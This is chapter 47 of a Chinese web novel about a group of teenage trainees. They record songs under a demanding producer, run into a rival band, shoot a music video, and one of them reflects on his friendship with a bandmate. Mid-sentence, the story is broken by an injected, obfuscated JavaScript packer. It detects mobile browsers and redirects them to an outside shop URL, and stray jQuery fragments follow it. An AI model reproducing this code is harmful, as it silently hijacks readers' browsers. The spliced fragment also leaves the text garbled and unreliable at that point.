47. 第 47 章

作品:《燃烧的沸腾的

    第二天,这几人还在睡梦之际,被项汝怡敲锣打鼓地叫醒去录音棚录音。


    他们公司这种刚成立的小作坊,没有专业级别的录音棚,几人被迫离开热气腾腾的被窝,神魂不附体地吃早饭。


    孔栩没睡够,整个人无精打采地翘着几根头发,钻进商务车后,把羽绒服的帽子一戴,靠着邱以星开始补觉。


    车里只有他们安静的呼吸声。


    孔栩睡得踏实且沉,邱以星的睡眠质量远远不如孔栩,昨晚孔栩搂着他睡,两个男生本就火气大,半夜他就被热醒,孔栩睡觉不规矩,无意识地踢被子,邱以星担心他感冒,只好把他两条腿勾住,不让他乱动。


    他最终不乱动了,可邱以星睡不着了,孔栩软绵绵的呼吸贴着他的脖子,麻酥酥地痒。


    邱以星备受折磨,到凌晨两三点才有了困意,孔栩翻了个身,柔软干燥的嘴唇擦过他的脸,邱以星骤然惊醒,刚起来的些许困意也被惊飞,他一直睁眼到早晨,神志不清猛灌两罐咖啡下肚。


    陆笑蓉见状,瞠目结舌:“大哥,用得着这么拼么?”


    到了地方,几人下车后被冻得一哆嗦,脑子再不清醒,也被冻醒了。


    地上积了一层薄雪,徐如夜走在前面跟项汝怡说话,还没进录音棚,就听见不远处传来一阵排山倒海的欢呼。


    孔栩两手插兜,脚步一顿,看见前方聚集了一帮背对着他们的男男女女,正抬着各式“长枪大炮”,对准录音棚唯一的入口。


    “这是哪个大明星?”陈颂既纳闷又吃味,“嚯,阵仗真大。”


    项汝怡忙让徐如夜暂时回避,本来大早上的,录音棚前不该有这么多人。


    她差点以为这些人是来蹲徐如夜的,正琢磨他们从哪儿得到的消息。


    她给录音棚的经理打了个电话,对方告诉她有人占着录音棚,录一晚上了还没录完,问她要不再等等。


    项汝怡皱起眉,约好的时间凭什么让她等?她等也就罢了,连累徐如夜一并等,徐如夜答应制作专辑已经是给了天大的面子,再让人等,她这张脸往哪儿搁。


    她刚要说话,经理压低声音,重重叹了口气,很是抱歉地说:“最多半小时,门口那些人我马上帮您清理走,实在是不好意思,我也是没办法。”


    “行,你这边尽快。”项汝怡克制怒气,撂了电话,回头跟徐如夜说了什么,徐如夜摆了下手,转身跟项汝怡回到车里。


    没过几秒钟,出来了五六个保安过来赶人,拉了两条红色的警戒带,将门口这片空地清理出来,欢呼的人群立即被驱逐到马路对面。


    孔栩这才看见,他们其中有人拿着应援手幅,上面印着夸张的一行字:?Shamash光芒万丈?沙琪玛永远相随?


    “咦,怎么是他们?难听的歌怎么录都难听。”陆笑蓉原本挂着凑热闹不嫌事大的笑,一见竟然是Shamash,顿时脸拉得老长,啧了一声,“大清早的,真是触霉头。”


    夏桃杉小声:“嘘,别被听到了。”


    “被听到又怎么样,难不成我还怕他们?”她虽然这么说,声音明显低了下来,“他们那么大一公司,难道连个录音棚都没有?占我们的时间?”


    “我也不知道呀,”夏桃杉说,“走了,项姐叫咱们进去呢。”


    孔栩他们在大厅又等了十几分钟,然后从走廊里出来一帮人。


    为首的是个高大的金毛混血,孔栩好奇地多看了两眼,这人竟然连眉毛都是金色的。金毛气势汹汹,眉毛怒竖,一脸不悦,朝身旁跟他差不多高的男人说:“你他妈以后要是录到一半就走人,就自己一个人来录,别让我们跟你一起受罪。”


    金毛身侧的男人倨傲的眼神轻飘飘地从众人面前一扫,并不把他们放在眼里,只在看见徐如夜时,视线略微停了片刻,眼高于顶的下巴朝徐如夜点了点,似乎在问好。


    随后他扭头对金毛笑嘻嘻地,没半分愧疚地说:“别赖我,我又没让你们来呀,明明是你怕挨批,让我们偷着来录,还要怪我。”


    金毛听完,火冒三丈,不再跟他辩论,三两步带着一伙人走了。


    推拉玻璃门微微地晃,录音棚经理擦了擦汗,对项汝怡点头哈腰地解释:“昨晚临时加的活,哪知道这几个都是难伺候的,录了几遍都不行,大半夜还跑了一人,刚刚才全部录好。真是太不好意思了,让您久等。”


    项汝怡不跟他扯这些虚的:“你收我一个小时八百,可又耽误我们时间,你给个说法。”


    经理长得胖乎乎的,粉白的鼻头又流了汗:“要不这样,我给你们打八折,看在徐老师的面子上,这几天录音棚不接待其他人,只给你们用,直到你们满意为止,这么着行吗?”


    项汝怡不仅是个经纪人,也是个商人,一听当然好了,她正愁着这帮崽子没录音经验,耽误时间,现在倒解决了一个麻烦,跟经理笑笑说:“劳你费心,有徐如夜监督,也用不了多长时间。”


    这五个崽被扔进录音室,除了陈颂,其余人都是第一次进录音室,看什么都感到新奇。


    有面墙嵌着一块大玻璃,徐如夜面无表情地坐在玻璃后面的控制室,静静地看了他们片刻。


    孔栩无端打了个寒颤,心想,每次徐如夜露出这副表情,他们的日子就会变得非常难过。


    果不其然,接下来的一周,他们开始了无休止的录音环节,上午录音,中午休息两小时,下午接着录,嗓子都有些受不了。


    徐如夜跟个渣男一样,嘴上说着让他们多喝水,润一润。


    项汝怡帮他们跟学校请了五天假,柴晓驰第一次听到这消息,有些不知所措,问了项汝怡好几遍,最后又去找何斯清确认,跟学校上报之后,才签了同意的假条。


    也就是说这几人不仅每天都得泡在录音室,还得抽空上网课,项汝怡会按时检查他们作业完成情况,按照陆笑蓉的话说:简直是没了天理了。


    经过徐如夜的百般折磨,四首歌终于全部录制完毕。


    徐如夜点头的那刹那,他们几人精疲力竭地倒在地上,满脑子都在想,元旦要到了,他们要放假,要放假,要放假!士可杀不可不放假!


    项汝怡轻轻一句话打碎了他们的美梦:“主打歌需要拍一支MV,后期宣传用,导演是前段时间拍校园剧很火的那个,分镜脚本已经发到我邮箱,我等会打印出来,你们一人


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17082824|194219||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    一份,明天开拍。”


    几人闻言,咔吧一声,恨不能就此昏死过去。


    好在导演能力超强,MV只拍了两天,素材交给团队去剪辑——至此,出道前的准备工作已经全部完成。


    元旦只剩最后一天,他们也没了出去浪的精力,拍完MV回来,草草吃了顿晚饭,洗漱完就争分夺秒地躺在宿舍里睡大觉。


    这些天徐如夜一直待在他们公司,跟他们同吃同住,期间苏虹来过几次给他送换洗的衣服,对他说狗疯狂拆家,把他那十几万的沙发挠成烂棉絮了都。


    徐如夜眼不见心烦,更不想回家了,理直气壮地霸占陈颂的屋,陈颂睡邱以星的床已经睡习惯了。


    上午,窗外有风声,屋里拉着厚厚的帘子,暗沉沉的。


    暖气开得很足,陈颂睡得四仰八叉,发出小小的鼾声。


    另一张床上的孔栩早已苏醒,他生物钟不允许他睡到日上三竿,邱以星仍旧在睡,他怕打扰邱以星,便睁着一双溜圆的眼睛,眨了眨,想心事。


    元旦前一天的下午,班级群里举行联欢会,柴晓驰拍摄了很多照片和视频传到群相册,大家都笑得那么开心,气球和彩带到处都是,如果他还在学校,说不定会在闻旋的撺掇下表演个节目。


    那么这相册里,也会有他了。


    他此刻才惊觉,原来他是真的走上了另外一条路。请假没上学的那天,罗鸣玉给他发消息,担心地问他:你和邱以星怎么了?老班说你们请假,病了吗?我就说你俩总混一块,传染上了吧。作业我拍给你了,记得写啊。


    孔栩扯了扯嘴角,回了句:我们没什么事,谢谢。


    罗鸣玉:别这么客气,我们是朋友嘛。


    “朋友”这两个字变成一股暖流,令他感到温暖。


    孔栩刚认识罗鸣玉那会,没想过他们会变成好朋友。


    认识的人仅仅是认识,不交心,不倾诉心事,分别后再不联系,是他的一贯做法。他那时候固执己见,认为交朋友是浪费时间,一个人活着就足够,直到邱以星死缠烂打要当他朋友,他才渐渐意识到交朋友也没有那么不好,他不是不需要,而是不知道有朋友的感觉是那样奇妙。


    他不是一个人闷头朝前走,这条路即使漫长,可路上有人陪伴,他就不再感到害怕和孤独。


    想到这,他又往邱以星怀里挤了挤,邱以星一只手搭在他胸口,很有磁性的低沉嗓音传进孔栩的耳膜:“醒了?”


    孔栩一愣:“唔,我弄醒你了?”


    “别起,陪我睡会儿。”邱以星太累了,睡得迷迷糊糊,怀里都是孔栩的味道,他简直有些沉迷,不知道自己说了什么,低头抵在孔栩的胸口,越发紧地搂他,又深深吸了口属于孔栩的气息。


    很淡的木香,混合着洗浴间沐浴露的花香,好闻极了。


    孔栩被他弄得有些痒,他屏住呼吸,盯着邱以星半晌,试图从此人脸上看出什么端倪。


    邱以星最近很喜欢搂他,睡觉的时候尤其喜欢,没开暖气那会他们互相取暖可以理解,开了暖气还抱这么紧,孔栩就有些喘不上气了。


    算了,孔栩大度地想,谁叫你是我的朋友呢。